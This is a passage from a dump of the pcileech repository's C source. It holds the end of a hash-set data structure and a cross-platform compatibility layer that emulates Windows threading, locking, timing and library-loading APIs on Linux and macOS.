not be iterated over.\n*  - Removal of current value and already iterated values are ok.\n*  - Removal of values not yet iterated is FORBIDDEN. It causes the iterator\n*    fail by returning the same value multiple times or skipping values.\n* -- pvs\n* -- pdwIndex\n* -- return\n*/\nQWORD ObSet_GetNextByIndex(_In_opt_ POB_SET pvs, _Inout_ PDWORD pdwIndex)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, QWORD, 0, _ObSet_GetNextByIndex(pvs, pdwIndex))\n}\n\nPOB_DATA _ObSet_GetAll(_In_ POB_SET pvs)\n{\n    DWORD iValue;\n    POB_DATA pObData;\n    if(!(pObData = Ob_AllocEx(pvs->ObHdr.H, OB_TAG_CORE_DATA, 0, sizeof(OB) + (pvs->c - 1) * sizeof(QWORD), NULL, NULL))) { return NULL; }\n    for(iValue = pvs->c - 1; iValue; iValue--) {\n        pObData->pqw[iValue - 1] = _ObSet_GetValueFromIndex(pvs, iValue);\n    }\n    return pObData;\n}\n\n/*\n* Retrieve all values in the Set as a POB_DATA object containing the values\n* in a QWORD table.\n* -- CALLER DECREF: return\n* -- pvs\n* -- return\n*/\nPOB_DATA ObSet_GetAll(_In_opt_ POB_SET pvs)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, POB_DATA, NULL, _ObSet_GetAll(pvs))\n}\n\nBOOL _ObSet_Remove(_In_ POB_SET pvs, _In_ QWORD value)\n{\n    QWORD qwLastValue;\n    DWORD iRemoveValue, iRemoveHash;\n    DWORD iLastValue, iLastHash;\n    DWORD dwHashMask = pvs->cHashMax - 1;\n    if(value == 0) { return FALSE; }\n    if(!_ObSet_GetIndexFromValue(pvs, value, &iRemoveValue, &iRemoveHash)) { return FALSE; }\n    qwLastValue = _ObSet_GetValueFromIndex(pvs, pvs->c - 1);\n    if(qwLastValue == 0) { return FALSE; }\n    if(!_ObSet_GetIndexFromValue(pvs, qwLastValue, &iLastValue, &iLastHash)) { return FALSE; }\n    _ObSet_SetValueFromIndex(pvs, iLastValue, 0);\n    _ObSet_RemoveHash(pvs, iLastHash);\n    pvs->c--;\n    if(iLastValue != iRemoveValue) {    // overwrite value to remove with last value if required.\n        _ObSet_RemoveHash(pvs, iRemoveHash);\n        _ObSet_SetValueFromIndex(pvs, iRemoveValue, qwLastValue);\n        _ObSet_InsertHash(pvs, iRemoveValue);\n    }\n    return TRUE;\n}\n\n/*\n* Remove an existing value from the ObSet.\n* NB! must not be called simultaneously while iterating with ObSet_Get/ObSet_GetNext.\n* -- pvs\n* -- value\n* -- return = removal was successful (i.e. the value was found and removed).\n*/\nBOOL ObSet_Remove(_In_opt_ POB_SET pvs, _In_ QWORD value)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pvs, BOOL, FALSE, _ObSet_Remove(pvs, value))\n}\n\n/*\n* Clear the ObSet by removing all values.\n* NB! underlying allocated memory will remain unchanged.\n* -- pvs\n*/\nVOID ObSet_Clear(_In_opt_ POB_SET pvs)\n{\n    if(!OB_SET_IS_VALID(pvs) || (pvs->c <= 1)) { return; }\n    AcquireSRWLockExclusive(&pvs->LockSRW);\n    if(pvs->c <= 1) {\n        ReleaseSRWLockExclusive(&pvs->LockSRW);\n        return;\n    }\n    if(pvs->fLargeMode) {\n        ZeroMemory(pvs->pHashMapLarge, pvs->cHashMax * sizeof(DWORD));\n    } else {\n        ZeroMemory(pvs->pHashMapSmall, sizeof(pvs->pHashMapSmall));\n    }\n    pvs->c = 1;     // item zero is reserved - hence the initialization of count to 1\n    ReleaseSRWLockExclusive(&pvs->LockSRW);\n}\n\nQWORD _ObSet_Pop(_In_ POB_SET pvs)\n{\n    QWORD qwLastValue;\n    DWORD iLastValue, iLastHash;\n    qwLastValue = _ObSet_GetValueFromIndex(pvs, pvs->c - 1);\n    if(qwLastValue == 0) { return 0; }\n    if(!_ObSet_GetIndexFromValue(pvs, qwLastValue, &iLastValue, &iLastHash)) { return 0; }\n    _ObSet_SetValueFromIndex(pvs, iLastValue, 0);\n    _ObSet_RemoveHash(pvs, iLastHash);\n    pvs->c--;\n    return qwLastValue;\n}\n\n/*\n* Remove the \"last\" value in a way that is safe for concurrent iterations of\n* values in the set.\n* -- pvs\n* -- return = success: value, fail: 0.\n*\n*/\nQWORD ObSet_Pop(_In_opt_ POB_SET pvs)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pvs, QWORD, 0, _ObSet_Pop(pvs))\n}\n\n/*\n* Grow the Table for hash lookups by a factor of *2.\n* -- pvs\n* -- return\n*/\n_Success_(return)\nBOOL _ObSet_Grow(_In_ POB_SET pvs)\n{\n    DWORD iValue;\n    PDWORD pdwNewAllocHashMap;\n    if(!(pdwNewAllocHashMap = LocalAlloc(LMEM_ZEROINIT, 2 * sizeof(DWORD) * pvs->cHashMax))) { return FALSE; }\n    if(!pvs->fLargeMode) {\n        ZeroMemory(pvs->pDirectory, OB_SET_ENTRIES_DIRECTORY * sizeof(OB_SET_TABLE_DIRECTORY_ENTRY));\n        pvs->pDirectory[0].pTable = pvs->pTable0;\n        pvs->fLargeMode = TRUE;\n    }\n    pvs->cHashMax *= 2;\n    pvs->cHashGrowThreshold *= 2;\n    LocalFree(pvs->pHashMapLarge);\n    pvs->pHashMapLarge = pdwNewAllocHashMap;\n    for(iValue = 1; iValue < pvs->c; iValue++) {\n        _ObSet_InsertHash(pvs, iValue);\n    }\n    return TRUE;\n}\n\n_Success_(return)\nBOOL _ObSet_Push(_In_ POB_SET pvs, _In_ QWORD value)\n{\n    POB_SET_TABLE_ENTRY pTable = NULL;\n    DWORD iValue = pvs->c;\n    WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue);\n    WORD iTable = OB_SET_INDEX_TABLE(iValue);\n    WORD iValueStore = OB_SET_INDEX_STORE(iValue);\n    if((value == 0) || _ObSet_Exists(pvs, value)) { return FALSE; }\n    if(iValue == OB_SET_TABLE_MAX_CAPACITY) { return FALSE; }\n    if(iValue == pvs->cHashGrowThreshold) {\n        if(!_ObSet_Grow(pvs)) {\n            return FALSE;\n        }\n    }\n    if(iDirectory && !pvs->pDirectory[iDirectory].pTable) { // Ensure Table Exists\n        pvs->pDirectory[iDirectory].pTable = LocalAlloc(LMEM_ZEROINIT, OB_SET_ENTRIES_TABLE * sizeof(OB_SET_TABLE_ENTRY));\n        if(!pvs->pDirectory[iDirectory].pTable) { return FALSE; }\n    }\n    pTable = iDirectory ? pvs->pDirectory[iDirectory].pTable : pvs->pTable0;\n    if(!pTable[iTable].pValues) {   // Ensure Store Exists\n        pTable[iTable].pValues = LocalAlloc(0, OB_SET_ENTRIES_STORE * sizeof(OB_SET_TABLE_ENTRY));\n        if(!pTable[iTable].pValues) { return FALSE; }\n    }\n    pvs->c++;\n    _ObSet_SetValueFromIndex(pvs, iValue, value);\n    _ObSet_InsertHash(pvs, iValue);\n    return TRUE;\n}\n\n_Success_(return)\nBOOL _ObSet_PushSet(_In_ POB_SET pvs, _In_opt_ POB_SET pvsSrc)\n{\n    DWORD iValue;\n    if(pvsSrc) {\n        AcquireSRWLockShared(&pvsSrc->LockSRW);\n        for(iValue = pvsSrc->c - 1; iValue; iValue--) {\n            QWORD qwValue = _ObSet_GetValueFromIndex(pvsSrc, iValue);\n            _ObSet_Push(pvs, _ObSet_GetValueFromIndex(pvsSrc, iValue));\n        }\n        ReleaseSRWLockShared(&pvsSrc->LockSRW);\n    }\n    return TRUE;\n}\n\n_Success_(return)\nBOOL _ObSet_PushData(_In_ POB_SET pvs, _In_opt_ POB_DATA pDataSrc)\n{\n    DWORD i, iMax;\n    if(pDataSrc) {   \n        for(i = 0, iMax = pDataSrc->ObHdr.cbData / sizeof(QWORD); i < iMax; i++) {\n            _ObSet_Push(pvs, pDataSrc->pqw[i]);\n        }\n    }\n    return TRUE;\n}\n\n/*\n* Push / Insert a non-zero value into the ObSet.\n* -- pvs\n* -- value\n* -- return = TRUE on insertion, FALSE otherwise - i.e. if value already\n*             exists or if the max capacity of the set is reached.\n*/\n_Success_(return)\nBOOL ObSet_Push(_In_opt_ POB_SET pvs, _In_ QWORD value)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pvs, BOOL, FALSE, _ObSet_Push(pvs, value))\n}\n\n/*\n* Push/Merge/Insert all values from the ObSet pvsSrc into the ObSet pvs.\n* The source set is kept intact.\n* -- pvs\n* -- pvsSrc\n* -- return = TRUE on success, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObSet_PushSet(_In_opt_ POB_SET pvs, _In_opt_ POB_SET pvsSrc)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pvs, BOOL, FALSE, _ObSet_PushSet(pvs, pvsSrc))\n}\n\n/*\n* Push/Merge/Insert all QWORD values from the ObData pDataSrc into the ObSet pvs.\n* The source data is kept intact.\n* -- pvs\n* -- pDataSrc\n* -- return = TRUE on success, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObSet_PushData(_In_opt_ POB_SET pvs, _In_opt_ POB_DATA pDataSrc)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pvs, BOOL, FALSE, _ObSet_PushData(pvs, pDataSrc))\n}\n\n/*\n* Insert a value representing an address into the ObSet. If the length of the\n* data read from the start of the address a traverses page boundries all the\n* pages are inserted into the set.\n* -- pvs\n* -- a\n* -- cb\n*/\nVOID ObSet_Push_PageAlign(_In_opt_ POB_SET pvs, _In_ QWORD a, _In_ DWORD cb)\n{\n    QWORD qwA;\n    if(!OB_SET_IS_VALID(pvs)) { return; }\n    qwA = a & ~0xfff;\n    if(qwA == 0xfffffffffffff000) { return; }\n    while(qwA < a + cb) {\n        ObSet_Push(pvs, qwA);\n        qwA += 0x1000;\n    }\n}\n\n/*\n* Retrieve the number of items in the given ObSet.\n* -- pvs\n* -- return\n*/\nDWORD ObSet_Size(_In_opt_ POB_SET pvs)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, DWORD, 0, pvs->c - 1)\n}\n"
  },
  {
    "path": "pcileech/oscompatibility.c",
    "content": "// oscompatibility.c : pcileech windows/linux compatibility layer.\n//\n// (c) Ulf Frisk, 2017-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#ifdef _WIN32\n\n#include \"oscompatibility.h\"\n\nVOID usleep(_In_ DWORD us)\n{\n    QWORD tmFreq, tmStart, tmNow, tmThreshold;\n    if(us == 0) { return; }\n    QueryPerformanceFrequency((PLARGE_INTEGER)&tmFreq);\n    tmThreshold = tmFreq * us / (1000 * 1000);  // dw_uS uS\n    QueryPerformanceCounter((PLARGE_INTEGER)&tmStart);\n    while(QueryPerformanceCounter((PLARGE_INTEGER)&tmNow) && ((tmNow - tmStart) < tmThreshold)) {\n        ;\n    }\n}\n\n#endif /* _WIN32 */\n\n#if defined(LINUX) || defined(MACOS)\n\n#include \"oscompatibility.h\"\n#include <stdatomic.h>\n#include <dlfcn.h>\n#include <fcntl.h>\n#include <sys/ioctl.h>\n#include <termios.h>\n#include \"util.h\"\n\n#define INTERNAL_HANDLE_TYPE_THREAD        0xdeadbeeffedfed01\n\ntypedef struct tdINTERNAL_HANDLE {\n    QWORD type;\n    HANDLE handle;\n} INTERNAL_HANDLE, *PINTERNAL_HANDLE;\n\nHANDLE LocalAlloc(DWORD uFlags, SIZE_T uBytes)\n{\n    HANDLE h = malloc(uBytes);\n    if(h && (uFlags & LMEM_ZEROINIT)) {\n        memset(h, 0, uBytes);\n    }\n    return h;\n}\n\nVOID LocalFree(HANDLE hMem)\n{\n    free(hMem);\n}\n\n#ifndef CLOCK_MONOTONIC_COARSE\n#define CLOCK_MONOTONIC_COARSE CLOCK_MONOTONIC\n#endif /* CLOCK_MONOTONIC_COARSE */\n\nQWORD GetTickCount64()\n{\n    struct timespec ts;\n    clock_gettime(CLOCK_MONOTONIC_COARSE, &ts);\n    return ts.tv_sec * 1000 + ts.tv_nsec / (1000 * 1000);\n}\n\nBOOL QueryPerformanceFrequency(_Out_ LARGE_INTEGER *lpFrequency)\n{\n    *lpFrequency = 1000 * 1000;\n    return TRUE;\n}\n\nBOOL QueryPerformanceCounter(_Out_ LARGE_INTEGER *lpPerformanceCount)\n{\n    struct timespec ts;\n    clock_gettime(CLOCK_MONOTONIC_COARSE, &ts);\n    *lpPerformanceCount = (ts.tv_sec * 1000 * 1000) + (ts.tv_nsec / 1000);  // uS resolution\n    return TRUE;\n}\n\nHANDLE CreateThread(\n    PVOID     lpThreadAttributes,\n    SIZE_T    dwStackSize,\n    PVOID     lpStartAddress,\n    PVOID     lpParameter,\n    DWORD     dwCreationFlags,\n    PDWORD    lpThreadId\n) {\n    PINTERNAL_HANDLE ph;\n    pthread_t thread;\n    int status;\n    UNREFERENCED_PARAMETER(lpThreadAttributes);\n    UNREFERENCED_PARAMETER(dwStackSize);\n    UNREFERENCED_PARAMETER(dwCreationFlags);\n    UNREFERENCED_PARAMETER(lpThreadId);\n    status = pthread_create(&thread, NULL, lpStartAddress, lpParameter);\n    if(status) { return NULL;}\n    ph = malloc(sizeof(INTERNAL_HANDLE));\n    ph->type = INTERNAL_HANDLE_TYPE_THREAD;\n    ph->handle = (HANDLE)thread;\n    return ph;\n}\n\nVOID GetLocalTime(LPSYSTEMTIME lpSystemTime)\n{\n    time_t curtime;\n    struct tm *t;\n    curtime = time(NULL);\n    t = localtime(&curtime);\n    lpSystemTime->wYear = t->tm_year;\n    lpSystemTime->wMonth = t->tm_mon;\n    lpSystemTime->wDayOfWeek = t->tm_wday;\n    lpSystemTime->wDay = t->tm_yday;\n    lpSystemTime->wHour = t->tm_hour;\n    lpSystemTime->wMinute = t->tm_min;\n    lpSystemTime->wSecond = t->tm_sec;\n    lpSystemTime->wMilliseconds = 0;\n}\n\nHANDLE FindFirstFileA(LPSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData)\n{\n    DWORD i;\n    DIR *hDir;\n    CHAR szDirName[MAX_PATH];\n    memset(szDirName, 0, MAX_PATH);\n    strcpy_s(lpFindFileData->__cExtension, 5, lpFileName + strlen(lpFileName) - 3);\n    strcpy_s(szDirName, MAX_PATH, lpFileName);\n    for(i = strlen(szDirName) - 1; i > 0; i--) {\n        if(szDirName[i] == '/') {\n            szDirName[i] = 0;\n            break;\n        }\n    }\n    hDir = opendir(szDirName);\n    if(!hDir) { return NULL; }\n    return FindNextFileA((HANDLE)hDir, lpFindFileData) ? (HANDLE)hDir : INVALID_HANDLE_VALUE;\n}\n\nBOOL FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData)\n{\n    DIR *hDir = (DIR*)hFindFile;\n    struct dirent *dir;\n    char* sz;\n    if(!hDir) { return FALSE; }\n    while ((dir = readdir(hDir)) != NULL) {\n        sz = dir->d_name;\n        if((strlen(sz) > 3) && !strcasecmp(sz + strlen(sz) - 3, lpFindFileData->__cExtension)) {\n            strcpy_s(lpFindFileData->cFileName, MAX_PATH, sz);\n            return TRUE;\n        }\n    }\n    closedir(hDir);\n    return FALSE;\n}\n\nDWORD InterlockedAdd(DWORD *Addend, DWORD Value)\n{\n    return __sync_add_and_fetch(Addend, Value);\n}\n\n// ----------------------------------------------------------------------------\n// LoadLibrary / GetProcAddress facades (for FPGA functionality) below:\n// ----------------------------------------------------------------------------\n\nHMODULE LoadLibraryA(LPSTR lpFileName)\n{\n    return dlopen(lpFileName, RTLD_NOW);\n}\n\nBOOL FreeLibrary(_In_ HMODULE hLibModule)\n{\n    dlclose(hLibModule);\n    return TRUE;\n}\n\nFARPROC GetProcAddress(HMODULE hModule, LPSTR lpProcName)\n{\n    return dlsym(hModule, lpProcName);\n}\n\n#ifdef MACOS\n\n// pthread_tryjoin_np does not exist on MacOS, so we need to implement it ourselves.\nstatic int pthread_tryjoin_np(pthread_t thread, void **retval)\n{\n    // If pthread_kill(thread, 0) == ESRCH, the thread has exited (or doesn't exist).\n    // In that case, we can call pthread_join safely. Otherwise, return EBUSY.\n    int kill_rc = pthread_kill(thread, 0);\n    if(kill_rc == ESRCH) {\n        // The thread is done, so do a normal join.\n        return pthread_join(thread, retval);\n    } else if(kill_rc == 0) {\n        // The thread is still running.\n        return EBUSY;\n    } else {\n\n        return kill_rc;\n    }\n}\n\n#endif /* MACOS */\n\nBOOL GetExitCodeThread(HANDLE hThread, PDWORD lpExitCode)\n{\n    PINTERNAL_HANDLE ph = (PINTERNAL_HANDLE)hThread;\n    if(ph->type != INTERNAL_HANDLE_TYPE_THREAD) { return FALSE; }\n    *lpExitCode = (pthread_tryjoin_np((pthread_t)ph->handle, NULL) == EBUSY) ? STILL_ACTIVE : 0;\n    return TRUE;\n}\n\n// ----------------------------------------------------------------------------\n// CRITICAL_SECTION functionality below:\n// ----------------------------------------------------------------------------\n\nVOID InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection) {\n    memset(lpCriticalSection, 0, sizeof(CRITICAL_SECTION));\n    pthread_mutexattr_init(&lpCriticalSection->mta);\n    pthread_mutexattr_settype(&lpCriticalSection->mta, PTHREAD_MUTEX_RECURSIVE);\n    pthread_mutex_init(&lpCriticalSection->mutex, &lpCriticalSection->mta);\n}\n\nVOID DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) {\n    pthread_mutex_destroy(&lpCriticalSection->mutex);\n    memset(lpCriticalSection, 0, sizeof(CRITICAL_SECTION));\n}\n\nVOID EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) {\n    pthread_mutex_lock(&lpCriticalSection->mutex);\n}\n\nVOID LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) {\n    pthread_mutex_unlock(&lpCriticalSection->mutex);\n}\n\n// ----------------------------------------------------------------------------\n// _kbhit functionality below:\n// ----------------------------------------------------------------------------\n\nVOID terminal_enable_raw_mode()\n{\n    struct termios term;\n    tcgetattr(0, &term);\n    term.c_lflag &= ~(ICANON | ECHO); // Disable echo as well\n    tcsetattr(0, TCSANOW, &term);\n}\n\nVOID terminal_disable_raw_mode()\n{\n    struct termios term;\n    tcgetattr(0, &term);\n    term.c_lflag |= ICANON | ECHO;\n    tcsetattr(0, TCSANOW, &term);\n}\n\nBOOL _kbhit()\n{\n    int byteswaiting;\n    terminal_enable_raw_mode();\n    ioctl(0, FIONREAD, &byteswaiting);\n    terminal_disable_raw_mode();\n    tcflush(0, TCIFLUSH);\n    return byteswaiting > 0;\n}\n\n#endif /* LINUX || MACOS */\n\n\n\n// ----------------------------------------------------------------------------\n// SRWLock functionality below:\n// ----------------------------------------------------------------------------\n\n#ifdef LINUX\n\n#include <sys/syscall.h>\n#include <linux/futex.h>\n\nstatic int futex(uint32_t *uaddr, int futex_op, uint32_t val, const struct timespec *timeout, uint32_t *uaddr2, uint32_t val3)\n{\n    return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr2, val3);\n}\n\nVOID InitializeSRWLock(PSRWLOCK pSRWLock)\n{\n    ZeroMemory(pSRWLock, sizeof(SRWLOCK));\n}\n\nBOOL AcquireSRWLockExclusive_Try(_Inout_ PSRWLOCK pSRWLock)\n{\n    DWORD dwZero = 0;\n    __sync_fetch_and_add_4(&pSRWLock->c, 1);\n    if(atomic_compare_exchange_strong((atomic_uint *)&pSRWLock->xchg, &dwZero, 1)) {\n        return TRUE;\n    }\n    __sync_sub_and_fetch_4(&pSRWLock->c, 1);\n    return FALSE;\n}\n\nVOID AcquireSRWLockExclusive(_Inout_ PSRWLOCK pSRWLock)\n{\n    DWORD dwZero;\n    __sync_fetch_and_add_4(&pSRWLock->c, 1);\n    while(TRUE) {\n        dwZero = 0;\n        if(atomic_compare_exchange_strong((atomic_uint *)&pSRWLock->xchg, &dwZero, 1)) {\n            return;\n        }\n        futex(&pSRWLock->xchg, FUTEX_WAIT, 1, NULL, NULL, 0);\n    }\n}\n\n_Success_(return)\nBOOL AcquireSRWLockExclusive_Timeout(_Inout_ PSRWLOCK pSRWLock, _In_ DWORD dwMilliseconds)\n{\n    DWORD dwZero;\n    struct timespec ts;\n    __sync_fetch_and_add_4(&pSRWLock->c, 1);\n    while(TRUE) {\n        dwZero = 0;\n        if(atomic_compare_exchange_strong((atomic_uint *)&pSRWLock->xchg, &dwZero, 1)) {\n            return TRUE;\n        }\n        if((dwMilliseconds != 0) && (dwMilliseconds != 0xffffffff)) {\n            ts.tv_sec = dwMilliseconds / 1000;\n            ts.tv_nsec = (dwMilliseconds % 1000) * 1000 * 1000;\n            if((-1 == futex(&pSRWLock->xchg, FUTEX_WAIT, 1, &ts, NULL, 0)) && (errno != EAGAIN)) {\n                __sync_sub_and_fetch_4(&pSRWLock->c, 1);\n                return FALSE;\n            }\n        } else {\n            if((-1 == futex(&pSRWLock->xchg, FUTEX_WAIT, 1, NULL, NULL, 0)) && (errno != EAGAIN)) {\n                __sync_sub_and_fetch_4(&pSRWLock->c, 1);\n                return FALSE;\n            }\n        }\n    }\n}\n\nVOID ReleaseSRWLockExclusive(_Inout_ PSRWLOCK pSRWLock)\n{\n    DWORD dwOne = 1;\n    if(atomic_compare_exchange_strong((atomic_uint *)&pSRWLock->xchg, &dwOne, 0)) {\n        if(__sync_sub_and_fetch_4(&pSRWLock->c, 1)) {\n            futex(&pSRWLock->xchg, FUTEX_WAKE, 1, NULL, NULL, 0);\n        }\n    }\n}\n\n#endif /* LINUX */\n\n#ifdef MACOS\n\nVOID InitializeSRWLock(PSRWLOCK pSRWLock)\n{\n    if(!pSRWLock->valid) {\n        pSRWLock->sem = dispatch_semaphore_create(1);\n    }\n}\n\nBOOL AcquireSRWLockExclusive_Try(_Inout_ PSRWLOCK pSRWLock)\n{\n    if(!pSRWLock->valid) { InitializeSRWLock(pSRWLock); }\n    return (0 == dispatch_semaphore_wait(pSRWLock->sem, DISPATCH_TIME_NOW));\n}\n\nVOID AcquireSRWLockExclusive(_Inout_ PSRWLOCK pSRWLock)\n{\n    if(!pSRWLock->valid) { InitializeSRWLock(pSRWLock); }\n    dispatch_semaphore_wait(pSRWLock->sem, DISPATCH_TIME_FOREVER);\n}\n\n_Success_(return)\nBOOL AcquireSRWLockExclusive_Timeout(_Inout_ PSRWLOCK pSRWLock, _In_ DWORD dwMilliseconds)\n{\n    if(!pSRWLock->valid) { InitializeSRWLock(pSRWLock); }\n    dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, dwMilliseconds * NSEC_PER_MSEC);\n    return (0 == dispatch_semaphore_wait(pSRWLock->sem, timeout));\n}\n\nVOID ReleaseSRWLockExclusive(_Inout_ PSRWLOCK pSRWLock)\n{\n    if(pSRWLock->valid) {\n        dispatch_semaphore_signal(pSRWLock->sem);\n    }\n}\n\n#endif /* MACOS */\n\n\n\n// ----------------------------------------------------------------------------\n// GetModule*() functionality below:\n// ----------------------------------------------------------------------------\n\n#ifdef LINUX\n\n#include <link.h>\n\nDWORD GetModuleFileNameA(_In_opt_ HMODULE hModule, _Out_ LPSTR lpFilename, _In_ DWORD nSize)\n{\n    struct link_map *lm = NULL;\n    if(hModule && ((SIZE_T)hModule & 0xfff)) {\n        dlinfo(hModule, RTLD_DI_LINKMAP, &lm);\n        if(lm) {\n            strncpy(lpFilename, lm->l_name, nSize);\n            lpFilename[nSize - 1] = 0;\n            return strlen(lpFilename);\n        }\n    }\n    return readlink(\"/proc/self/exe\", lpFilename, nSize);\n}\n\n#endif /* LINUX */\n\n#ifdef MACOS\n\n#include <mach-o/dyld.h>\n#include <mach-o/dyld_images.h>\n\nDWORD GetModuleFileNameA(_In_opt_ HMODULE hModule, _Out_ LPSTR lpFilename, _In_ DWORD nSize)\n{\n    int ret;\n    char resolvedPath[MAX_PATH];\n    // ----------------------------------------------------------------------\n    // 1) Handle the case hModule == NULL => main executable path\n    // ----------------------------------------------------------------------\n    if(hModule == NULL) {\n        // macOS function to get the path of the main executable\n        uint32_t bufSize = (uint32_t)nSize;\n        ret = _NSGetExecutablePath(lpFilename, &bufSize);\n        if(ret == 0) {\n            // If you want to resolve symlinks and get an absolute path:\n            // (optional: remove if you just want the raw path from dyld)\n            if(realpath(lpFilename, resolvedPath)) {\n                strncpy(lpFilename, resolvedPath, nSize);\n                lpFilename[nSize - 1] = '\\0';\n            } else {\n                // realpath failed, but we still have _NSGetExecutablePath\n                // fallback to leaving lpFilename as-is\n            }\n            return (DWORD)strlen(lpFilename);\n        } else {\n            // _NSGetExecutablePath indicates buffer too small\n            // or some other error\n            // Ideally you handle this more gracefully by re-allocating\n            // or returning an error code.\n            if(bufSize > 0 && bufSize <= nSize) {\n                // The function might have written a partial path, but typically\n                // ret != 0 means not enough space. Return 0 or handle error.\n            }\n            return 0;\n        }\n    }\n    // ----------------------------------------------------------------------\n    // 2) hModule != NULL => look up the corresponding Mach-O image\n    // ----------------------------------------------------------------------\n    uint32_t imageCount = _dyld_image_count();\n    for(uint32_t i = 0; i < imageCount; i++) {\n        const struct mach_header *header = _dyld_get_image_header(i);\n        intptr_t slide = _dyld_get_image_vmaddr_slide(i);\n        // Base address of this Mach-O image\n        uintptr_t baseAddr = (uintptr_t)header + (uintptr_t)slide;\n        if((uintptr_t)hModule == baseAddr) {\n            // Found the matching Mach-O\n            const char *imagePath = _dyld_get_image_name(i);\n            if(imagePath) {\n                strncpy(lpFilename, imagePath, nSize);\n                lpFilename[nSize - 1] = '\\0';\n                return (DWORD)strlen(lpFilename);\n            } else {\n                // If for some reason there's no name\n                return 0;\n            }\n        }\n    }\n    // ----------------------------------------------------------------------\n    // 3) If we didn't find a matching image, return 0 or some error code\n    // ----------------------------------------------------------------------\n    return 0;\n}\n\n#endif /* MACOS */"
  },
  {
    "path": "pcileech/oscompatibility.h",
    "content": "// oscompatibility.h : pcileech windows/linux compatibility layer.\n//\n// (c) Ulf Frisk, 2017-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __OSCOMPATIBILITY_H__\n#define __OSCOMPATIBILITY_H__\n#include <leechcore.h>\n\n#ifdef _WIN32\n\n#include <Windows.h>\n#include <stdio.h>\n#include <winusb.h>\n#include <setupapi.h>\n#include <bcrypt.h>\n#include <conio.h>\n\n#pragma comment (lib, \"winusb.lib\")\n#pragma comment (lib, \"setupapi.lib\")\n#pragma comment (lib, \"bcrypt.lib\")\n\ntypedef unsigned __int64                    QWORD, *PQWORD;\n#define PCILEECH_LIBRARY_FILETYPE           \".dll\"\n\n#pragma warning( disable : 4477)\n\nVOID usleep(_In_ DWORD us);\n\n#endif /* _WIN32 */\n\n#ifdef LINUX\n#define PCILEECH_LIBRARY_FILETYPE           \".so\"\n#endif /* LINUX */\n\n#ifdef MACOS\n#define PCILEECH_LIBRARY_FILETYPE           \".dylib\"\n#endif /* MACOS */\n\n#if defined(LINUX) || defined(MACOS)\n\n#include <ctype.h>\n#include <dirent.h>\n#include <dlfcn.h>\n#include <errno.h>\n#include <inttypes.h>\n#include <stdarg.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <pthread.h>\n#include <time.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\ntypedef void                                VOID, *PVOID, *LPVOID;\ntypedef void*                               HANDLE, **PHANDLE, *HMODULE, *FARPROC;\ntypedef uint32_t                            BOOL, *PBOOL;\ntypedef uint8_t                             BYTE, *PBYTE, *LPBYTE;\ntypedef uint8_t                             UCHAR, *PUCHAR;\ntypedef char                                CHAR, *PCHAR, *PSTR, *LPSTR;\ntypedef const char                          *LPCSTR;\ntypedef int16_t                             SHORT, *PSHORT;\ntypedef int32_t                             LONG;\ntypedef int64_t                             LONGLONG;\ntypedef uint16_t                            WORD, *PWORD, USHORT, *PUSHORT;\ntypedef uint16_t                            WCHAR, *PWCHAR, *LPWSTR;\ntypedef const uint16_t                      *LPCWSTR;\ntypedef uint32_t                            UINT, DWORD, *PDWORD, *LPDWORD, NTSTATUS, ULONG, *PULONG, ULONG32;\ntypedef long long unsigned int              QWORD, *PQWORD, ULONG64, *PULONG64, ULONG_PTR;\ntypedef uint64_t                            DWORD64, *PDWORD64, LARGE_INTEGER, *PLARGE_INTEGER, ULONGLONG, FILETIME, *PFILETIME;\ntypedef size_t                              SIZE_T, *PSIZE_T;\ntypedef struct _M128A { ULONGLONG Low; LONGLONG High; } M128A, *PM128A;\ntypedef void* OVERLAPPED, *LPOVERLAPPED;\ntypedef struct tdEXCEPTION_RECORD32 { CHAR sz[80]; } EXCEPTION_RECORD32;\ntypedef struct tdEXCEPTION_RECORD64 { CHAR sz[152]; } EXCEPTION_RECORD64;\ntypedef struct tdSID { BYTE pb[12]; } SID, *PSID;\ntypedef DWORD(*PTHREAD_START_ROUTINE)(PVOID);\ntypedef DWORD(*LPTHREAD_START_ROUTINE)(PVOID);\ntypedef int(*_CoreCrtNonSecureSearchSortCompareFunction)(void const*, void const*);\n#define errno_t                             int\n#define CONST                               const\n#define TRUE                                1\n#define FALSE                               0\n#define MAX_PATH                            260\n#define LMEM_ZEROINIT                       0x0040\n#define INVALID_HANDLE_VALUE                ((HANDLE)-1)\n#define STD_INPUT_HANDLE                    ((DWORD)-10)\n#define STD_OUTPUT_HANDLE                   ((DWORD)-11)\n#define GENERIC_WRITE                       (0x40000000L)\n#define GENERIC_READ                        (0x80000000L)\n#define FILE_SHARE_READ                     (0x00000001L)\n#define CREATE_NEW                          (0x00000001L)\n#define OPEN_EXISTING                       (0x00000003L)\n#define FILE_ATTRIBUTE_NORMAL               (0x00000080L)\n#define STILL_ACTIVE                        (0x00000103L)\n#define CRYPT_STRING_HEX_ANY                (0x00000008L)\n#define CRYPT_STRING_HEXASCIIADDR           